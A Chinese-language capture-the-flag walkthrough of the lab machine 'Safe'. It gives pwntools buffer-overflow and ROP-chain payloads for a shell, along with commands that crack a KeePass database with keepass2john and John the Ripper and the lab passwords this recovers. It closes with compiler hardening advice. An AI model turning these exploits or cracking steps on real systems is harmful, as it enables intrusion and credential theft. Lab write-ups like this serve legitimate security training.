[Meachines] [Easy] Safe BOF+ROP链+.data节区注入BOF+函数跳转BOF+KeePass密码管理器密码破译
字数 1351 2025-08-19 12:41:28
缓冲区溢出攻击与ROP链构造实战教程
1. 目标环境分析
1.1 目标系统信息
- IP地址: 10.10.10.147
- 开放端口:
- TCP 22: OpenSSH 7.4p1 (Debian 10+deb9u6)
- TCP 80: Apache httpd 2.4.25 (Debian)
- TCP 1337: 自定义服务(myapp)
1.2 目标程序安全机制检查
使用checksec分析目标程序myapp的安全机制:
CANARY: disabled # 栈保护机制被禁用
FORTIFY: disabled # 无额外编译时检查
NX: ENABLED # 堆栈不可执行
PIE: disabled # 代码段地址固定
RELRO: Partial # 部分RELRO保护(GOT表可写)
2. 缓冲区溢出漏洞利用基础
2.1 确定偏移量
- 使用
pattern_create生成200字节的测试字符串 - 运行程序并观察崩溃时的寄存器值
- 使用
pattern_offset确定精确偏移量为120字节
2.2 验证偏移量
构造测试payload:
python print("A" * 120 + "B" * 4)
确认RIP寄存器被成功覆盖为"BBBB"
3. ROP链利用方法
3.1 方法1: 泄露libc函数地址
3.1.1 关键概念
- PLT(Procedure Linkage Table): 用于动态链接的函数跳转表
- GOT(Global Offset Table): 存储动态链接函数实际地址的表
3.1.2 利用步骤
-
查找可用gadget:
$ ropper -f myapp | grep rdi找到
pop rdi; retgadget地址: 0x40120b -
构造payload泄露puts函数地址:
from pwn import * context(os="linux", arch="amd64") junk = "A"*120 got_puts = p64(0x404018) # puts的GOT表地址 plt_system = p64(0x401040) # system的PLT地址 pop_rdi = p64(0x40120b) # pop rdi; ret gadget main = p64(0x40115f) # main函数地址 payload = junk + pop_rdi + got_puts + plt_system + main -
计算libc基地址:
leaked_puts = u64(p.recvline().strip()[7:-11].ljust(8,"\x00")) libc_base = leaked_puts - 0x68f90 # puts在libc中的偏移 -
计算
/bin/sh字符串地址:sh = p64(0x161c19 + libc_base) -
最终payload获取shell:
payload = junk + pop_rdi + sh + plt_system
3.2 方法2: .data节区注入
3.2.1 查找可写内存区域
$ readelf -S myapp
发现.data节区(地址0x404038)具有读写权限(WA)
3.2.2 利用步骤
- 使用gets函数将"/bin/sh"写入.data节区
- 调用system执行写入的字符串
from pwn import *
context(os="linux", arch="amd64")
junk = "A"*120
plt_gets = p64(0x401060) # gets的PLT地址
plt_system = p64(0x401040) # system的PLT地址
pop_rdi = p64(0x40120b) # pop rdi; ret gadget
binsh = p64(0x404038) # .data节区地址
payload = junk + pop_rdi + binsh + plt_gets + pop_rdi + binsh + plt_system
p.sendline(payload)
p.sendline('/bin/sh\x00') # 写入/bin/sh到.data节区
3.3 方法3: 利用未调用函数跳转
3.3.1 分析test函数
gdb-peda$ disassemble test
发现test函数会将R13寄存器的值作为函数调用
3.3.2 查找合适gadget
$ ropper -f myapp | grep r13
找到pop r13; pop r14; pop r15; ret gadget地址: 0x401206
3.3.3 构造payload
from pwn import *
binsh = "/bin/sh\x00"
junk = "A"*(120 - len(binsh))
plt_system = p64(0x401040)
test = p64(0x401152)
pop_r13_r14_r15 = p64(0x401206)
payload = junk + binsh + pop_r13_r14_r15 + plt_system + p64(0) + p64(0) + test
4. 权限提升与密码破解
4.1 获取用户权限
-
通过SSH公钥连接服务器:
$ ssh -i ~/.ssh/id_ed25519 user@10.10.10.147 -
下载KeePass数据库文件:
$ scp -i ~/.ssh/id_ed25519 user@10.10.10.147:~/IMG* . $ scp -i ~/.ssh/id_ed25519 user@10.10.10.147:~/*.kdbx .
4.2 破解KeePass数据库
-
使用keepass2john提取哈希:
$ keepass2john MyPasswords.kdbx > MyPasswords.kdbx.hash -
尝试使用图像文件作为密钥:
$ for img in $(ls IMG*); do keepass2john -k $img MyPasswords.kdbx; done >> MyPasswords.kdbx.hash -
使用John the Ripper破解:
$ john MyPasswords.kdbx.hash /usr/share/seclists/Passwords/Leaked-Databases/rockyou-30.txt获得密码:
bullshit -
使用kpcli访问数据库:
$ kpcli --key IMG_0547.JPG --kdb MyPasswords.kdbx找到root密码:
u3v2249dl9ptv465cogl3cnpo3fyhk
5. 关键知识点总结
-
缓冲区溢出利用条件:
- 无栈保护(CANARY)
- 固定地址(PIE disabled)
- 堆栈不可执行(NX enabled)
-
ROP链构造要点:
- 使用gadget控制寄存器
- 利用PLT/GOT泄露函数地址
- 计算libc基地址
-
数据注入技巧:
- 利用可写内存区域(.data节区)
- 使用gets等函数写入数据
-
密码破解方法:
- 结合密钥文件和字典攻击
- 使用专用工具(keepass2john)提取哈希
-
防御措施:
- 启用所有安全编译选项
- 使用地址随机化(PIE)
- 实施栈保护(CANARY)
- 完全RELRO保护